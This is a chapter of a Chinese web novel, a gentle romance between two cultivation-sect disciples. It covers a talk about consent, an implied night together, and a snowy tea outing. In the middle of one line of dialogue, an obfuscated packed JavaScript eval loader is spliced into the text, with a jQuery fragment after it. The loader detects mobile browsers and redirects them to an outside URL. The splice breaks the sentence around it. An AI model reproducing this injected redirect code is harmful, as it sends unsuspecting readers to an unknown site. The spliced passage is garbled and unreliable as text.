138.外篇·修仙界17

作品:《万人嫌小少爷被疯狗缠上了

    宁子清闷在被子里太久,百里羡实在是担心他的身体状况,想上前去强行掀开查看。


    但在百里羡靠近之前,宁子清忽然猛一下坐起,把百里羡给吓一跳。


    宁子清严肃认真地看着百里羡:“百里羡,我问你个问题,你老实回答我。”


    百里羡懵懵的:“您说。”


    宁子清:“你是不是不喜欢和我靠太近?”


    百里羡想也不想就否认:“不是。当然不会,我怎么可能不喜欢和您靠太近。”


    宁子清:“那为什么每次亲密接触都是我主动?之前两次……是,每天早晨也是。”


    百里羡没有马上回答,反而问:“您刚才就是在想这个吗?”


    宁子清微微移开视线:“也不全是吧……”


    但他又立马反应过来:“不许转移话题!”


    百里羡抬眸看向宁子清,黑眸间又一瞬似乎什么情绪都没有,黑漆漆的,像是能将宁子清吞没。


    但很快,又变成了往日那般的温和,走到床边坐下:“因为,我不会在主人不愿意的情况下,对您做任何不该做的事情。”


    他依然看着宁子清,只是这一次漆黑瞳仁中只专注倒映出宁子清的身影,温柔安静,还带着点……


    温顺的臣服?


    宁子清难得注意到他变来变去的称呼:“你怎么又叫我主人?不是说了离开青涯镇以后就不是主奴关系了吗?”


    百里羡无辜地看着宁子清:“一日为主,终身为主。也没人说师兄弟不能是主奴。”


    宁子清:“……”


    听起来怪怪的但好像又无法反驳。


    宁子清绕回来:“那也不许,别别人听到的话那多奇怪。”


    百里羡:“只在私下叫。可以吗,主人?”


    他把最后那句称呼放得很轻,尾音微微上扬,听起来黏糊糊的,还有点像撒娇。


    ……百里羡本身就比他小差不多两岁,撒娇这样的用词放在他身上,倒也不违和。


    宁子清还是觉得怪怪,但暂时说不过他,就不管了:“算了,随便你吧。”


    百里羡弯眼笑:“谢谢主人。”


    宁子清再绕回最开始的话题:“还有!关于刚才的,亲密接触的问题……”


    一本正经说回这件事时,宁子清耳尖又开始泛红,声音也越变越小,嘀咕着似的:“我又没说过我不愿意,面对你怎么可能不愿意,而且你不知道我愿不愿意不能直接问我吗?”


    宁子清一连说了三句,每一句都让百里羡的心跳随之砰然跃动。


    没说过不愿意,面对他时都是愿意的,而且被允许了直接询问。


    每一句话,都足够成为百里羡说服自己已经足够幸福的理由。


    怎么可以这么可爱。


    百里羡伸手勾住了宁子清的尾指:“那,我现在可以亲您吗?”


    忽然的触碰掠起一阵无端的酥麻,这样认真又轻柔的询问,似乎比宁子清自己主动更加难为情。


    但他还是在片刻后,小幅度且快速地点了点头:“可以。”


    他话音才落,温热柔软的气息便覆盖而来,卷着沐浴后干净的皂角气味,试探似的落下蜻蜓点水的一个吻。


    两人谁都没有闭眼,近在咫尺间,看着对方瞳仁中倒映出来的,不再掺杂任何其他实物的纯粹注视。


    气息纠缠中,又是一个吻落下。


    百里羡的手稍稍往前,轻轻抵在宁子清撑在一侧的手中,前倾的姿势几乎像是将宁子清半圈在他的怀里。


    一下又一下的试探,得到了宁子清毫无拒意的回应,不知从哪一个吻开始,百里羡就不再止步于表面,贪心地汲取了更多。


    小小的房间内,温度似乎在不断攀升。


    温软的床铺,无人打搅的环境,还有才沐浴过的清浅香气,一切似乎都有些过于恰到好处。


    有些反应,似乎也是情至深处,自然而然地情感流露。


    百里羡稍稍起身,垂眸看向宁子清已经红了个彻底的神色。


    他撑在床榻上的手微微偏移,覆上宁子清的手背,指尖轻柔插.入他的指缝中。


    百里羡低哑地再次开口询问:“如果我想再过分一点,也可以吗?”


    他用着乖顺臣服的语气,将占有的姿态与念想全然表露。


    宁子清轻咬一下已经有些红肿的唇瓣,偏过头,唯有眼角那枚小小的红痣鲜艳欲滴。


    “……也可以了啦。”


    长久以来克制的防线崩塌,有些事情,似乎就变得一发而不可收拾了起来。


    漫长的夜亦不再寂静。


    ……


    次日早晨,宁子清和百里羡难得一起赖床,直至巳时才悠悠转醒。


    宁子清比百里羡醒得晚些迷迷糊糊睁开眼时,已经对上了百里羡含笑的视线。


    “主人早。”百里羡凑到宁子清面前去,黏黏糊糊地讨亲,“我现在可以亲您吗?”


    宁子清脑子还没清醒呢,含糊地应了个“嗯”,接着就被百里羡占据了他还没来得及顺几口的空气。


    ……算了,反正最近百里羡吻技好像越来越好了,他也挺享受的,没所谓。


    不知过了多久,在百里羡停下来的同时,宁子清迷迷糊糊中又感觉到了什么东西的存在感突显出来。


    宁子清:“……?”


    百里羡无辜地眨了眨眼:“这个时间,您知道的。所以……”


    “……这个真的不可以了!”宁子清恼羞成怒地打断。


    百里羡也没有任何迟疑:“好,那我去给您准备洗漱的水。”


    说着他便起身下床,恪守着没有宁子清的同意,绝不会有分毫越界的准则。


    宁子清没脾气了,在被窝里伸手拉住他的衣角。


    百里羡回头:“怎么了,是还有什么别的吩咐吗?”


    宁子清红着脸瞪他:“我拒绝你,你就不能再求求我吗!你之前说什么让我别弃养你的倔驴脾气呢!”


    宁子清话语中的邀请以为已经足够明显,百里羡呼吸微滞,片刻后才反应过来,重新回到床上。


    “那如果我求您,您会愿意吗?”


    宁子清哼唧似的应了个极轻的“嗯”,一整个早晨的时间再一次荒废。


    等他们终于收拾好起身时,已将近午时。


    宁子清没眼看乱糟糟的床铺,丢给百里羡收拾,自己打开门走出房间,发现院子里不知何时变成白茫茫的一片。


    宁子清眼睛微微亮起:“百里羡,你快来看!


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16959558|183688||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    下雪了!”


    “嗯?”百里羡应声走出来,也看到满院的雪白,“应该是昨夜半夜下的,隐约有听到一些,不过小师兄可能没太分心注意。”


    宁子清耳尖红红地忽视他是为什么没分心注意的事情,走进雪地里,听“咔嚓咔嚓”的清脆踩雪声。


    青涯镇也会下雪,而且下得比云鹤峰早许多。那时的宁子清只道是寻常,可如今有百里羡在身边,身处的环境也大不相同,宁子清的心境一下就变了许多。


    他撤了护体灵力,穿着薄绒的冬衣在雪地里呼出一口冷气,搓了搓立马被冻得通红的手,真切地感受云鹤峰的冬日。


    但是片刻之后,他的肩膀上就多出一件毛茸茸的披肩,百里羡握住了他的手,语气无奈:“小师兄,小心着凉。”


    两人的距离一下拉得极近,在刺骨冷风中成为对方唯一的热源。


    在暧昧的氛围中,宁子清思路忽然发散:“百里羡,我们找个湖心亭围炉煮茶吧。”


    百里羡:“只有我们两个吗?”


    宁子清:“嗯。”


    百里羡笑了笑:“好啊。”


    忽如其来的想法得到最迅速的认可与实践,差不多半个时辰后,两人便一同出现在了揽月峰的湖心亭上,煮着茶水,就着糕点,挨在一起各自看各自的书。


    不用聊天,不用非做着同样的事情,只是这样安安静静地各行各事便已经足够温馨宁静。


    宁子清时不时就拿一块桌上的糕点。


    就连这糕点也是百里羡做的,说是出门在外那段时日找机会学的,甜度口味都正合宁子清的意。


    宁子清吃得满意,偏头要找百里羡说些什么时,注意到百里羡在看的书,是阵法相关的。


    他疑惑:“你什么时候对阵法这么感兴趣了?”


    百里羡还很认真地想了想:“去年的十二月二十六日,差不多正好一年了。”


    宁子清:“?”


    宁子清:“什么日子,还让你记那么清楚?”


    百里羡:“我们从陨星谷回到竹栖苑的日子。那一日你问了师尊,有没有可能研究出类似于传送法阵的符咒。”


    宁子清想了会儿才想起他确实问过苏闲这种问题,但是在得知不仅要精通符咒,还要精通阵法以后就放弃了。


    百里羡见他想起来了,补充道:“虽然小师兄只精通符咒,没有时间再研究阵法,但兴许我能有这个机会研究透彻,到时也能帮到小师兄。”


    宁子清:“那你怎么没跟我说?我都快不记得这件事了。”


    百里羡摇摇头:“没有把握的事情我觉得不用特意告诉,毕竟小师兄的天赋板上钉钉,但我不一定这能研究到那个水平。只是想先试试。”


    可这一试,百里羡就已经坚持试了快一年,自从宁子清那个不经意间的假设提出以来,就从未间断。


    宁子清又想到百里羡帮他解决宁子卫和宁崇岱的那两个阵法,如今想来也根本就不是偶然见到。


    他顺着靠在百里羡身上的姿势,将脑袋埋进了百里羡的颈窝间,闷声:“百里羡,你怎么这么好啊。”


    百里羡放下手中的书卷,抬手轻抚宁子清的发梢与后颈,温柔低声。


    “当然是因为,我爱您。”